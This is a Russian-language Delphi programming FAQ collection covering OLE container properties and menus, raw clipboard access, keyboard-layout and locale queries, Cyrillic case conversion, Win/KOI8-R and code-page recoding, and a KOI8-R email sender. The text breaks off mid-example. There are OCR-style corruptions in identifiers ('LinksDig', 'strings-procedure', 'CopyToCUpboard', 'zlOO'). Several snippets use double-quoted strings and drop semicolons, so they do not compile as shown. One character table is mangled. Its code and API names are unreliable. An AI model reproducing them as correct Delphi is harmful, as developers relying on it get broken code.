Если в контейнере содержится связанный объект, то его состояние можно проверить и изменить, вызвав соответствующий диалог из функции:
procedure LinksDig(Form: TForm; HelpContext: THelpContext);
Если связанного объекта нет, то вызов LinksDig не имеет смысла. Убедитесь в целесообразности при помощи функции:

function LinksDlgEnabled(Form: TForm): Boolean;

Свойства контейнера
Проверить наличие объекта OLE в контейнере позволяет метод:
function OLEObjAllocated: Boolean;

Свойство
property AutoSize: Boolean;

означает, что контейнер автоматически принимает размер помещенного в него объекта OLE. Играет роль оно только в момент внедрения (связывания).
После того, как в контейнер загружен объект OLE, его можно идентифицировать при помощи свойств:
property ObjClass: String;
property ObjDoc: String;
property Objitem: String;
Свойство ObjClass представляет собой имя (класс) объектов, поддерживаемых данным сервером OLE, например "Документ Microsoft Word 6.0", "Visio 3.0 Drawing" или "Paintbrush Picture".
Свойства ObjDoc и Objitem применяются только для связанных объектов. Первое свойство представляет собой имя документа (зачастую имя файла), а второе — имя его части (если контейнер связан только с частью документа, например, с фрагментом изображения). Вы можете увидеть значения ObjDoc и Objitem в диалоге LinksDig: они разделяются восклицательным знаком и в паре составляют имя связи.
Нужно отметить, что правило присвоения этих трех имен — прерогатива сервера, и подробности этого нужно искать в соответствующей документации.
Редактирование внедренных объектов возможно как в отдельном окне, создаваемом сервером, так и прямо в содержащем его документе ("по месту"). Последняя возможность предусмотрена спецификацией OLE 2.0; при этом могут заменяться главное меню и строка состояния формы.
Контейнер OLE в VCL поддерживает работу с серверами обеих спецификаций. Если же по каким-либо причинам активизация сервера "по месту" нежелательна, то установка в False свойства
property AllowInPlace: Boolean;
позволяет ее запретить. Поскольку загрузка сервера "по месту" подразумевает изменение главного меню, то оно должно быть у приложения, содержащего форму с контейнером.
Загруженный объект OLE можно активизировать (то есть вызвать его сервер) тремя способами:
property AutoActivate: TAutoActivate;
TAutoActivate = (aaManual, aaGetFocus, aaDoubleClick) ;
Типичным способом (принятым по умолчанию) является двойной щелчок (aaDoubleClick). При установленном aaGetFocus активизация происходит при получении объектом фокуса ввода. Наконец, aaManual обязывает активизировать объект OLE установкой в True одного из свойств:
property Active: Boolean;
property InPlaceActive: Boolean;
Различие между ними в том, что второе (по возможности) осуществляет активизацию "по месту".
Запуск и работа сервера OLE может быть длительным процессом. На время, пока объект загружается в сервер, в контейнере устанавливается флаг:
property InActivation: Boolean;
После того, как сервер OLE полностью активизировался, происходит событие
property OnActivate: TNotifyEvent;
и устанавливается в True свойство:
property Modified: Boolean ;
Если при этом вы снова переключитесь на приложение Delphi, то увидите, что на время работы сервера клиентская область контейнера заштриховывается.
Свойство
property Zoom: TZoomFactor;
TZoomFactor = (г025,z050,zlOO,zl50,z200) ;
показывает, с каким масштабом отображаются объекты OLE внутри контейнера (при этом размеры самого контейнера остаются неизменными; если при увеличении часть изображения объекта выходит за границы контейнера, она отсекается).
Взаимодействие сервера OLE со строкой состояния осуществляется посредством обработки событий:
property OnStatusLineEvent: TStatusLineEvent;
TStatusLineEvent = procedure(Sender: TObject; Msg: String) of object;
Контейнер получает от сервера извещение о наступлении такого события. Он должен обработать это сообщение, например, отобразив где-либо строку Msg.
Инициировать это событие можно также при помощи процедуры:
procedure DoStatusLineMsg (Msg :String);
Контейнер может выгружать/загружать содержимое в поток и буфер обмена:
procedure LoadFromFile(const FileName: strings-procedure LoadFromStream(Stream: TStream);
procedure SaveToFile(const FileName: strings-procedure SaveToSCream(Stream: TStream);
procedure CopyToCUpboard (Clear : Boolean);
Параметр Clear в последней процедуре означает необходимость очистки предыдущего содержимого.
TOLEContainer является оконным элементом управления и поддерживает все соответствующие возможности: обработку сообщений от мыши и клавиатуры, фокус ввода, интерфейс Drag&Drop и т. п.
Наконец, в TOLEContainer есть "выходы" на элементы внутреннего устройства интерфейса OLE. Использование этих возможностей не документировано, и более подробное их обсуждение имеет смысл отложить до выхода следующей версии продукта. Здесь мы их только перечислим:

function GetContainer: TIBCont;
property Storage: IStorage;
property Site: TIBSite;
property Part: IBPart;
property PartRect: TRect;
procedure DeleteSite;
procedure DeleteStorage;

Меню OLE
У каждой формы есть свойство ObjectMenuItem. Оно ссылается на пункт меню, который специально выделяется для того, чтобы сервер OLE мог модифицировать его, разместив на этом месте свое подменю. Каждый сервер может производить над данными те или иные операции; их перечень отражаются в подменю. Оно может быть проанализировано с помощью методов, имеющихся у контейнера:
function GetObjectMenultemCount: Integer;
function GetObjectMenuItem(Index: Integer): string;
Первая функция возвращает число пунктов в подменю, а вторая — имя заданного пункта. Например, при вставке документа русской версии Microsoft Word первыми двумя будут "Редактировать" и "Открыть". Последними двумя пунктами в добавляемом меню всегда являются разделитель и пункт "Convert...", служащий для преобразования типа объекта OLE. Вы можете определить контекст помощи, предназначенный для этого диалога:
property ConvertDlgHelp: THelpContext;
Вызвав функцию GetObjectMenuItem с параметром -1, можно получить имя самого подменю, например, "Paintbrush Picture Object" или "Документ Word".
Действия сервера, связанные с нужным пунктом меню, можно инициировать из программы путем вызова метода:
procedure ObjectMenuAction(Index: Integer);
Подменю становится доступным при получении фокуса компонентом TOLEContainer и блокируется при его утере. Также устанавливает состояние меню метод:
procedure ActivateObjMenuItem(Activate: Boolean);


Как копировать/менять Clipboard text без использования VCL?

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls...;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    function GetClipBoardText: string;
    procedure SetClipBoardText(const Value: string);
    procedure Open;
    procedure SetBuffer(Format: Word; var Buffer; Size: Integer);
    procedure Adding;
    procedure Clear;
    constructor CreateRes(Ident: Integer);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    FOpenRefCount: Integer;
    FClipboardWindow: HWND;
    FAllocated: Boolean;
    FEmptied: Boolean;
    FMessage: string;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

resourcestring
  SCannotOpenClipboard = 'Cannot open clipboard';

implementation

{$R *.dfm}

//Create resource for resourceString
constructor TForm1.CreateRes(Ident: Integer);
begin
  FMessage := LoadStr(Ident);
end;

//Status: Adding
procedure TForm1.Adding;
begin
  if (FOpenRefCount <> 0) and not FEmptied then
  begin
    Clear;
    FEmptied := True;
  end;
end;

//Empty clipboard
procedure TForm1.Clear;
begin
  Open;
  try
    EmptyClipboard;
  finally
    Close;
  end;
end;

//Set buffer
procedure TForm1.SetBuffer(Format: Word; var Buffer; Size: Integer);
var
  Data: THandle;
  DataPtr: Pointer;
begin
  Open;
  try
    Data := GlobalAlloc(GMEM_MOVEABLE + GMEM_DDESHARE, Size);
    try
      DataPtr := GlobalLock(Data);
      try
        Move(Buffer, DataPtr^, Size);
        Adding;
        SetClipboardData(Format, Data);
      finally
        GlobalUnlock(Data);
      end;
    except
      GlobalFree(Data);
      raise;
    end;
  finally
    Close;
  end;
end;

//Open the clipboard
procedure TForm1.Open;
begin
  if FOpenRefCount = 0 then
  begin
    FClipboardWindow := Application.Handle;
    if FClipboardWindow = 0 then
    begin
      {$IFDEF MSWINDOWS}
      FClipboardWindow := Classes.AllocateHWnd(MainWndProc);
      {$ENDIF}
      {$IFDEF LINUX}
      FClipboardWindow := WinUtils.AllocateHWnd(MainWndProc);
      {$ENDIF}
      FAllocated := True;
    end;
    if not OpenClipboard(FClipboardWindow) then
      raise Exception.CreateRes(@SCannotOpenClipboard);
    FEmptied := False;
  end;
  Inc(FOpenRefCount);
end;

//Get the clipboard text
function TForm1.GetClipBoardText: string;
var
  Data: THandle;
begin
  Open;
  Data := GetClipboardData(CF_TEXT);
  try
    if Data <> 0 then
      Result := PChar(GlobalLock(Data))
    else
      Result := '';
  finally
    if Data <> 0 then GlobalUnlock(Data);
    Close;
  end;
end;

procedure TForm1.SetClipBoardText(const Value: string);
begin
  //Set ClipboardText
  SetBuffer(CF_TEXT, PChar(Value)^, Length(Value) + 1);
end;

//Get the clipboard text
procedure TForm1.Button1Click(Sender: TObject);
begin
  ShowMessage(GetClipboardText);
end;

//Set the clipboard text
procedure TForm1.Button2Click(Sender: TObject);
begin
  SetClipboardText('-> Big-X <-');
end;

end.
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Шрифты, языки, кодировки, регионарные стандарты

Cодержание раздела:

Как использовать не установленный шрифт?
Какой язык на данный момент на клавиатуре?
Как можно перекодировать сообщение (содержание) из Win в КОИ8-Р для отправки по EMail?
Как узнать размеры шрифтов в Windows?
Как определить локализацию ОС: английская или русская?
Как получить информацию о локальных настройках системы?
Изменение регистра букв
Перекодирование
Как конвертировать кодовую страницу
Как выдать текст под наклоном?
Как сохранить обьект TFont в реестре/ini/файле/таблице базы данных?
Вывести полупрозрачный текст
Вертикальный текст
Как вывести текст с красивым обрезанием если не помещается
Как изменить фоновый цвет текста
Как добавить True Type шрифт в систему
Каким обpазом выбиpать pазмеp шpифта?
Сохранение параметров шрифта в INI-файле
Является ли шрифт шрифтом с фиксированной шириной
Вывод шрифтов в списке в виде самих шрифтов
Как приложению воспользоваться своими шрифтами
Какой шрифт установлен (крупный или мелкий)?
Масштабирование размера формы и размера шрифтов
Различные разрешения - различные размеры шрифтов
Свойства шрифта Style и Color в виде строки
Список шрифтов, совместимых одновременно с экраном и с принтером
Управление настройками шрифта
Хранение стилей шрифта
Как сделать фон у текста прозрачным?
Распознавание кодировки New!
Как узнать является ли окно Unicode? New!
Как выяснить установлены ли в системе шрифты TrueType New!
Получение имени шрифта, зная имя файла шрифта New!
Перекодировка, из разных кодировок New!
Транслитерация New!

См. также в других разделах:
Регионарные стандарты
Выводим цветной текст на форме под любым углом
Как вывести цветной текст в TStatusBar?
Как загрузить юникоды в мемо?
Как менять шрифт в RichEdit горячими клавишами?
Как использовать верхние и нижние индексы?
Компонент FontListBox
Как изменить шрифт hint?
Как програмно переключить раскладку клавиатуры?
Не читаются русские буквы в Database Desktop
Как добавить True Type шрифт в систему?
Как добавить нужный язык в систему?


Как использовать не установленный шрифт?

Зарегистрировать шрифт:
AddFontResource('путь к фонту\\Algerian.ttf');
Объект.Font.Name:="Algerian";

Удалить -
RemoveFontResource('путь к фонту\\Algerian.ttf');

Автор Alex101
Взято с Vingrad.ru http://forum.vingrad.ru


Какой язык на данный момент на клавиатуре?

Используй GetKeyboardLayoutName

Автор ответа: Mikel
Взято с Vingrad.ru http://forum.vingrad.ru

var
Form1: TForm1;
LAYOUT: String;
implementation
{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
var
  RA: Array[0..$FFF] of Char;
begin
GetKeyboardLayoutName(RA) ;
Layout := StrPas(RA);
if Layout = '00000419' then
  showmessage(' CCCP ' )
else
  if Layout = '00000409' then
    showmessage(' USA ' )
  else
    showmessage(' X 3 ' ) ;
end;

Автор: Radmin

Взято с Vingrad.ru http://forum.vingrad.ru

function WhichLanguage:string;
var
ID:LangID;
Language: array [0..100] of char;
begin
ID:=GetSystemDefaultLangID;
VerLanguageName(ID,Language,100);
Result:=String(Language);
end;

Пример вызова этой функции:

procedure TForm1.Button1Click(Sender: TObject);
begin
  Edit1.Text:=WhichLanguage;
end;

Также, для определения активного языка можно воспользоваться функцией GetUserDefaultLangID.

Взято из http://forum.sources.ru


Как можно перекодировать сообщение (содержание) из Win в КОИ8-Р для отправки по EMail?

const
 Koi: Array[0..66] of Char = ("T", "Ё", "ё", "А", "Б", "В", "Г", "Д", "Е", "Ж",
                "З", "И", "Й", "К", "Л", "М", "Н", "О", "П", "Р",
                "С", "Т", "У", "Ф", "Х", "Ц", "Ч", "Ш", "Щ", "Ъ",
                "Ы", "Ь", "Э", "Ю", "Я", "а", "б", "в", "г", "д",
                "е", "ж", "з", "и", "й", "к", "л", "м", "н", "о",
                "п", "р", "с", "т", "у", "ф", "х", "ц", "ч", "ш",
                "щ", "ъ", "ы", "ь", "э", "ю", "я");
 Win: Array[0..66] of Char = ("ё", "Ё", "T", "ю", "а", "б", "ц", "д", "е", "ф",
                "г", "х", "и", "й", "к", "л", "м", "н", "о", "п",
                "я", "р", "с", "т", "у", "ж", "в", "ь", "ы", "з",
                "ш", "э", "щ", "ч", "ъ", "Ю", "А", "Б", "Ц", "Д",
                "Е", "Ф", "Г", "Х", "И", "Й", "К", "Л", "М", "Н",
                "О", "П", "Я", "Р", "С", "Т", "У", "Ж", "В", "Ь",
                "Ы", "З", "Ш", "Э", "Щ", "Ч", "Ъ");

function WinToKoi(Str: String): String;
var
 i, j, Index: Integer;
begin
 Result := ""

 for i := 1 to Length(Str) do
 begin
  Index := -1;
  for j := Low(Win) to High(Win) do
   if Win[j] = Str[i] then
   begin
    Index := j;
    Break;
   end;

  if Index = -1 then Result := Result + Str[i]
         else Result := Result + Koi[Index];
 end;
end;

function KoiToWin(Str: String): String;
var
 i, j, Index: Integer;
begin
 Result := ""

 for i := 1 to Length(Str) do
 begin
  Index := -1;
  for j := Low(Win) to High(Win) do
   if Koi[j] = Str[i] then
   begin
    Index := j;
    Break;
   end;

  if Index = -1 then Result := Result + Str[i]
         else Result := Result + Win[Index];
 end;
end;

procedure SendFileOnSMTP(Host: String;
             Port: Integer;
             Subject,
             FromAddress, ToAddress,
             Body,
             FileName: String);
var
 NMSMTP: TNMSMTP;
begin
 if DelSpace(ToAddress) = "" then Exit;
 if ToAddress[1] = "" then Exit;

 if (DelSpace(FileName) <> "") and not FileExists(FileName) then
  raise Exception.Create("SendFileOnSMTP: file not exist: " + FileName);

 NMSMTP := TNMSMTP.Create(nil);
 try
  NMSMTP.Host := Host;
  NMSMTP.Port := Port;
  NMSMTP.Charset := "koi8-r"
  NMSMTP.PostMessage.FromAddress := FromAddress;
  NMSMTP.PostMessage.ToAddress.Text := ToAddress;
  NMSMTP.PostMessage.Attachments.Text := FileName;
  NMSMTP.PostMessage.Subject := Subject;
  NMSMTP.PostMessage.Date := DateTimeToStr(Now);
  NMSMTP.UserID := "netmaster"
  NMSMTP.PostMessage.Body.Text := WinToKoi(Body);
  NMSMTP.FinalHeader.Clear;
  NMSMTP.TimeOut := 5000;
  NMSMTP.Connect;
  NMSMTP.SendMail;
  NMSMTP.Disconnect;
 finally
  NMSMTP.Free;
 end;
end;

Взято с сайта http://blackman.wp-club.net/


Как узнать размеры шрифтов в Windows?

GetTextMetrics()

Автор: Song

Взято с Vingrad.ru http://forum.vingrad.ru

Как определить, какой шрифт установлен в системе, большой или маленький

Следующуя функция возвращает true, если маленькие шрифты установлены в системе. Так же можно заменить строку 'Result := (GetDeviceCaps(DC, logpixelsx) = 96);' на 'Result := (GetDeviceCaps(DC, logpixelsx) = 120);' чтобы определять - установлены ли в системе крупные шрифты.

Function UsesSmallFonts: boolean;
var
DC: HDC;
begin
DC := GetDC(0);
Result := (GetDeviceCaps(DC, logpixelsx) = 96);
ReleaseDC(0, DC);
end;
Взято из http://forum.sources.ru


Как определить локализацию ОС: английская или русская?

GetSystemDefaultLangID

Взято с сайта http://blackman.wp-club.net/


Как получить информацию о локальных настройках системы?

Delphi имеет функцию GetLocaleInfo, которая позволяет получать различную информацию о локальных настройках, таких как системный язык, символ валюты, количество десятичных знаков и т.д.

Далее приведена функция, которая возвращает значение в зависимости от параметра "flag":

........
function TForm1.GetLocaleInformation(Flag: Integer): String;
var
  pcLCA:    Array[0..20] of Char;
begin
  if( GetLocaleInfo(LOCALE_SYSTEM_DEFAULT,Flag,pcLCA,19) <= 0 ) then begin
    pcLCA[0] := #0;
  end;
  Result := pcLCA;
end;
........

Пример использования функции:

........
procedure TForm1.Button1Click(Sender: TObject);
begin
  ShowMessage(GetLocaleInformation(LOCALE_SENGLANGUAGE));
end;
........

"Flag" может содержать следующее значение (если посмотреть в Windows.pas):

  LOCALE_NOUSEROVERRIDE       { do not use user overrides }
  LOCALE_USE_CP_ACP           { use the system ACP }
  LOCALE_ILANGUAGE            { language id }
  LOCALE_SLANGUAGE            { localized name of language }
  LOCALE_SENGLANGUAGE         { English name of language }
  LOCALE_SABBREVLANGNAME      { abbreviated language name }
  LOCALE_SNATIVELANGNAME      { native name of language }
  LOCALE_ICOUNTRY             { country code }
  LOCALE_SCOUNTRY             { localized name of country }
  LOCALE_SENGCOUNTRY          { English name of country }
  LOCALE_SABBREVCTRYNAME      { abbreviated country name }
  LOCALE_SNATIVECTRYNAME      { native name of country }
  LOCALE_IDEFAULTLANGUAGE     { default language id }
  LOCALE_IDEFAULTCOUNTRY      { default country code }
  LOCALE_IDEFAULTCODEPAGE     { default oem code page }
  LOCALE_IDEFAULTANSICODEPAGE { default ansi code page }
  LOCALE_IDEFAULTMACCODEPAGE  { default mac code page }
  LOCALE_SLIST                { list item separator }
  LOCALE_IMEASURE             { 0 = metric, 1 = US }
  LOCALE_SDECIMAL             { decimal separator }
  LOCALE_STHOUSAND            { thousand separator }
  LOCALE_SGROUPING            { digit grouping }
  LOCALE_IDIGITS              { number of fractional digits }
  LOCALE_ILZERO               { leading zeros for decimal }
  LOCALE_INEGNUMBER           { negative number mode }
  LOCALE_SNATIVEDIGITS        { native ascii 0-9 }
  LOCALE_SCURRENCY            { local monetary symbol }
  LOCALE_SINTLSYMBOL          { intl monetary symbol }
  LOCALE_SMONDECIMALSEP       { monetary decimal separator }
  LOCALE_SMONTHOUSANDSEP      { monetary thousand separator }
  LOCALE_SMONGROUPING         { monetary grouping }
  LOCALE_ICURRDIGITS          { # local monetary digits }
  LOCALE_IINTLCURRDIGITS      { # intl monetary digits }
  LOCALE_ICURRENCY            { positive currency mode }
  LOCALE_INEGCURR             { negative currency mode }
  LOCALE_SDATE                { date separator }
  LOCALE_STIME                { time separator }
  LOCALE_SSHORTDATE           { short date format string }
  LOCALE_SLONGDATE            { long date format string }
  LOCALE_STIMEFORMAT          { time format string }
  LOCALE_IDATE                { short date format ordering }
  LOCALE_ILDATE               { long date format ordering }
  LOCALE_ITIME                { time format specifier }
  LOCALE_ITIMEMARKPOSN        { time marker position }
  LOCALE_ICENTURY             { century format specifier (short date) }
  LOCALE_ITLZERO              { leading zeros in time field }
  LOCALE_IDAYLZERO            { leading zeros in day field (short date) }
  LOCALE_IMONLZERO            { leading zeros in month field (short date) }
  LOCALE_S1159                { AM designator }
  LOCALE_S2359                { PM designator }
  LOCALE_ICALENDARTYPE        { type of calendar specifier }
  LOCALE_IOPTIONALCALENDAR    { additional calendar types specifier }
  LOCALE_IFIRSTDAYOFWEEK      { first day of week specifier }
  LOCALE_IFIRSTWEEKOFYEAR     { first week of year specifier }
  LOCALE_SDAYNAME1            { long name for Monday }
  LOCALE_SDAYNAME2            { long name for Tuesday }
  LOCALE_SDAYNAME3            { long name for Wednesday }
  LOCALE_SDAYNAME4            { long name for Thursday }
  LOCALE_SDAYNAME5            { long name for Friday }
  LOCALE_SDAYNAME6            { long name for Saturday }
  LOCALE_SDAYNAME7            { long name for Sunday }
  LOCALE_SABBREVDAYNAME1      { abbreviated name for Monday }
  LOCALE_SABBREVDAYNAME2      { abbreviated name for Tuesday }
  LOCALE_SABBREVDAYNAME3      { abbreviated name for Wednesday }
  LOCALE_SABBREVDAYNAME4      { abbreviated name for Thursday }
  LOCALE_SABBREVDAYNAME5      { abbreviated name for Friday }
  LOCALE_SABBREVDAYNAME6      { abbreviated name for Saturday }
  LOCALE_SABBREVDAYNAME7      { abbreviated name for Sunday }
  LOCALE_SMONTHNAME1          { long name for January }
  LOCALE_SMONTHNAME2          { long name for February }
  LOCALE_SMONTHNAME3          { long name for March }
  LOCALE_SMONTHNAME4          { long name for April }
  LOCALE_SMONTHNAME5          { long name for May }
  LOCALE_SMONTHNAME6          { long name for June }
  LOCALE_SMONTHNAME7          { long name for July }
  LOCALE_SMONTHNAME8          { long name for August }
  LOCALE_SMONTHNAME9          { long name for September }
  LOCALE_SMONTHNAME10         { long name for October }
  LOCALE_SMONTHNAME11         { long name for November }
  LOCALE_SMONTHNAME12         { long name for December }
  LOCALE_SMONTHNAME13         { long name for 13th month (if exists) }
  LOCALE_SABBREVMONTHNAME1    { abbreviated name for January }
  LOCALE_SABBREVMONTHNAME2    { abbreviated name for February }
  LOCALE_SABBREVMONTHNAME3    { abbreviated name for March }
  LOCALE_SABBREVMONTHNAME4    { abbreviated name for April }
  LOCALE_SABBREVMONTHNAME5    { abbreviated name for May }
  LOCALE_SABBREVMONTHNAME6    { abbreviated name for June }
  LOCALE_SABBREVMONTHNAME7    { abbreviated name for July }
  LOCALE_SABBREVMONTHNAME8    { abbreviated name for August }
  LOCALE_SABBREVMONTHNAME9    { abbreviated name for September }
  LOCALE_SABBREVMONTHNAME10   { abbreviated name for October }
  LOCALE_SABBREVMONTHNAME11   { abbreviated name for November }
  LOCALE_SABBREVMONTHNAME12   { abbreviated name for December }
  LOCALE_SABBREVMONTHNAME13   { abbreviated name for 13th month (if exists) }
  LOCALE_SPOSITIVESIGN        { positive sign }
  LOCALE_SNEGATIVESIGN        { negative sign }
  LOCALE_IPOSSIGNPOSN         { positive sign position }
  LOCALE_INEGSIGNPOSN         { negative sign position }
  LOCALE_IPOSSYMPRECEDES      { mon sym precedes pos amt }
  LOCALE_IPOSSEPBYSPACE       { mon sym sep by space from pos amt }
  LOCALE_INEGSYMPRECEDES      { mon sym precedes neg amt }
  LOCALE_INEGSEPBYSPACE       { mon sym sep by space from neg amt }
  LOCALE_FONTSIGNATURE        { font signature }
  LOCALE_SISO639LANGNAME      { ISO abbreviated language name }
  LOCALE_SISO3166CTRYNAME     { ISO abbreviated country name }

Взято из http://forum.sources.ru


Изменение регистра букв

В Delphi есть три функции для изменения регистра: upcase, lowercase, uppercase.
Но они работают только для латинского алфавита.
Чтобы сделать аналогичные функции для русского алфавита я
использовал то, что в кодировке Windows-1251 буквы расставлены по алфавиту,
как большие, так и маленькие.
То есть номер большой буквы связан с номером маленькой константой.
И в русском, и в английском алфавитах маленькие буквы находятся
за большими с разностью в 32 символа.
Здесь реализованы четыре функции: upcase и locase для
изменения регистра одного символа, и uppercase и lowercase для изменения регистра строки

function UpCase(ch: char): char;
begin
  if (ch in ['a'..'z', 'а'..'я'])
    then result := chr(ord(ch) - 32)
    else result := ch;
end;

function LoCase(ch: char): char;
begin
  if (ch in ['A'..'Z', 'А'..'Я'])
    then result := chr(ord(ch) + 32)
    else result := ch;
end;

function UpperCase(s: string): string;
var
  i: integer;
begin
  result := s;
  for i := 1 to length(result) do
    if (result[i] in ['a'..'z', 'а'..'я'])
      then result[i] := chr(ord(result[i]) - 32);
end;

function LowerCase(s: string): string;
var
  i: integer;
begin
  result := s;
  for i := 1 to length(result) do
    if (result[i] in ['A'..'Z', 'А'..'Я'])
      then result[i] := chr(ord(result[i]) + 32);
end;

procedure TForm1.Button1Click(Sender: TObject);
const
  s = 'zZцЦ.';
var
  i: integer;
begin
  Form1.Caption := 'DownCase: ';
  for i := 1 to Length(s) do
    Form1.Caption := Form1.Caption + LoCase(s[i]);
  Form1.Caption := Form1.Caption + ' UpCase: ';
  for i := 1 to Length(s) do
    Form1.Caption := Form1.Caption + UpCase(s[i]);
  Form1.Caption := Form1.Caption + ' UpperCase: ' +
    UpperCase(s);
  Form1.Caption := Form1.Caption + ' LowerCase: ' +
    LowerCase(s);
end;

Взято с сайта http://blackman.wp-club.net/


Перекодирование

Этот алгоритм позволяет перекодировать текст.
Реализованы кодировки Windows-1251, KOI8-R, ISO-8859-5 и DOS.
Кодировка – это таблица, в которой указано,
например, что символ под номером 160 - это русская буква "а", а под номером 150 – "Ц" и т. д.
Кодировки различаются номерами русских букв
(как располагать английские буквы договорились).
Разные компьютеры в Интернете используют разные кодировки.
И поэтому, когда русский текст идет по Интернету, его многократно перекодируют.

Этот алгоритм обеспечивает высокую скорость перекодирования больших объемов данных.

procedure TForm1.Button1Click(Sender: TObject);
var
  code1, code2: TCode;
  s: string;
  c: char;
  i: integer;
  chars: array [char] of char;
  str: array [TCode] of string;
begin
  case ComboBox1.ItemIndex of
    1: code1 := koi;
    2: code1 := iso;
    3: code1 := dos;
    else code1 := win;
  end;
  case ComboBox2.ItemIndex of
    1: code2 := koi;
    2: code2 := iso;
    3: code2 := dos;
    else code2 := win;
  end;
  s := Memo1.Text;

  Str[win] := 'АаБбВвГгДдЕеЖжЗзИиЙйКкЛлМмНнОоПпРрСсТтУуФфХхЦцЧчШшЩщЪъЫыЬьЭэЮюЯя';
  Str[koi] := 'юЮаАбБцЦдДеЕфФгГхХиИйЙкКлЛмМнНоОпПяЯрРсСтТуУжЖвВьЬыЫзЗшШэЭщЩчЧъЪ';
  Str[iso] := 'РрСсТтУуФфХхЦцЧчШшЩщЪъЫыЬьЭэЮюЯяа№бёвђгѓдєеѕжізїијйљкњлћмќн§оўпџ';
  Str[dos] := 'Ђ ЃЎ‚ўѓЈ„¤…Ґ†¦‡§€Ё‰©ЉЄ‹"Њ¬ЌЋ®ЏЇђа'б'в"г"де–ж—зи™йљк›лњмќнћоџп';

  for c := #0 to #255 do
    Chars[c] := c;

  for i := 1 to Length(Str[win]) do
    Chars[Str[code2][i]] := Str[code1][i];

  for i := 1 to Length(s) do
    s[i] := Chars[s[i]];

  Memo2.Text := s;
end;

Взято с сайта http://blackman.wp-club.net/


Как конвертировать кодовую страницу?

All Systems (Win 95+ and WinNT4+) with MS Internet Explorer 4 and newer have a library named mlang.dll in the Winnt\System32 directory. Usually you can tell Delphi to simply import these COM Libraries. This one however, Delphi did not. I started to convert the "most wanted" interface for myself. The results I present you here.

First I give you the code for the conversion unit, that allows you simply convert any text from code page interpretation into another one. Following I will shortly discuss the code and give you a sample of how to use it.

uCodePageConverter

{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
*
* Unit Name : uCodePageConverter
* Autor     : Daniel Wischnewski
* Copyright : Copyright © 2002 by gate(n)etwork. All Right Reserved.
* Urheber   : Daniel Wischnewski
*
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}

unit uCodePageConverter;

interface

uses
  Windows;

const
  IID_MLangConvertCharset: TGUID = '{D66D6F98-CDAA-11D0-B822-00C04FC9B31F}';
  CLASS_MLangConvertCharset: TGUID = '{D66D6F99-CDAA-11D0-B822-00C04FC9B31F}';

type
  tagMLCONVCHARF = DWORD;

const
  MLCONVCHARF_AUTODETECT: tagMLCONVCHARF = 1;
  MLCONVCHARF_ENTITIZE: tagMLCONVCHARF = 2;

type
  tagCODEPAGE = UINT;

const
  CODEPAGE_Thai: tagCODEPAGE = 0874;
  CODEPAGE_Japanese: tagCODEPAGE = 0932;
  CODEPAGE_Chinese_PRC: tagCODEPAGE = 0936;
  CODEPAGE_Korean: tagCODEPAGE = 0949;
  CODEPAGE_Chinese_Taiwan: tagCODEPAGE = 0950;
  CODEPAGE_UniCode: tagCODEPAGE = 1200;
  CODEPAGE_Windows_31_EastEurope: tagCODEPAGE = 1250;
  CODEPAGE_Windows_31_Cyrillic: tagCODEPAGE = 1251;
  CODEPAGE_Windows_31_Latin1: tagCODEPAGE = 1252;
  CODEPAGE_Windows_31_Greek: tagCODEPAGE = 1253;
  CODEPAGE_Windows_31_Turkish: tagCODEPAGE = 1254;
  CODEPAGE_Hebrew: tagCODEPAGE = 1255;
  CODEPAGE_Arabic: tagCODEPAGE = 1256;
  CODEPAGE_Baltic: tagCODEPAGE = 1257;

type
  IMLangConvertCharset = interface
    ['{D66D6F98-CDAA-11D0-B822-00C04FC9B31F}']
    function Initialize(
      uiSrcCodePage: tagCODEPAGE; uiDstCodePage: tagCODEPAGE;
      dwProperty: tagMLCONVCHARF
      ): HResult; stdcall;
    function GetSourceCodePage(
      out puiSrcCodePage: tagCODEPAGE
      ): HResult; stdcall;
    function GetDestinationCodePage(
      out puiDstCodePage: tagCODEPAGE
      ): HResult; stdcall;
    function GetProperty(out pdwProperty: tagMLCONVCHARF): HResult; stdcall;
    function DoConversion(
      pSrcStr: PChar; pcSrcSize: PUINT; pDstStr: PChar; pcDstSize: PUINT
      ): HResult; stdcall;
    function DoConversionToUnicode(
      pSrcStr: PChar; pcSrcSize: PUINT; pDstStr: PWChar; pcDstSize: PUINT
      ): HResult; stdcall;
    function DoConversionFromUnicode(
      pSrcStr: PWChar; pcSrcSize: PUINT; pDstStr: PChar; pcDstSize: PUINT
      ): HResult; stdcall;
  end;

  CoMLangConvertCharset = class
    class function Create: IMLangConvertCharset;
    class function CreateRemote(const MachineName: string): IMLangConvertCharset;
  end;

implementation

uses
  ComObj;

{ CoMLangConvertCharset }

class function CoMLangConvertCharset.Create: IMLangConvertCharset;
begin
  Result := CreateComObject(CLASS_MLangConvertCharset) as IMLangConvertCharset;
end;

class function CoMLangConvertCharset.CreateRemote(
  const MachineName: string
  ): IMLangConvertCharset;
begin
  Result := CreateRemoteComObject(
    MachineName, CLASS_MLangConvertCharset
    ) as IMLangConvertCharset;
end;

end.

As you can see, I did translate only one of the many interfaces, however this one is the most efficient (according to Microsoft) and will do the job. Further I added some constants to simplify the task of finding the most important values.

When using this unit to do any code page conersions you must not forget, that the both code pages (source and destination) must be installed and supported on the computer that does the translation. OIn the computer that is going to show the result only the destination code page must be installed and supported.

To test the unit simple create a form with a memo and a button. Add the following code to the buttons OnClick event. (Do not forget to add the conversion unit to the uses clause!)

SAMPLE

procedure TForm1.Button1Click(Sender: TObject);
var
  Conv: IMLangConvertCharset;
  Source: PWChar;
  Dest: PChar;
  SourceSize, DestSize: UINT;
begin
  // connect to MS multi-language lib
  Conv := CoMLangConvertCharset.Create;
  // initialize UniCode Translation to Japanese
  Conv.Initialize(CODEPAGE_UniCode, CODEPAGE_Japanese, MLCONVCHARF_ENTITIZE);
  // load source (from memo)
  Source := PWChar(WideString(Memo1.Text));
  SourceSize := Succ(Length(Memo1.Text));
  // prepare destination
  DestSize := 0;
  // lets calculate size needed
  Conv.DoConversionFromUnicode(Source, @SourceSize, nil, @DestSize);
  // reserve memory
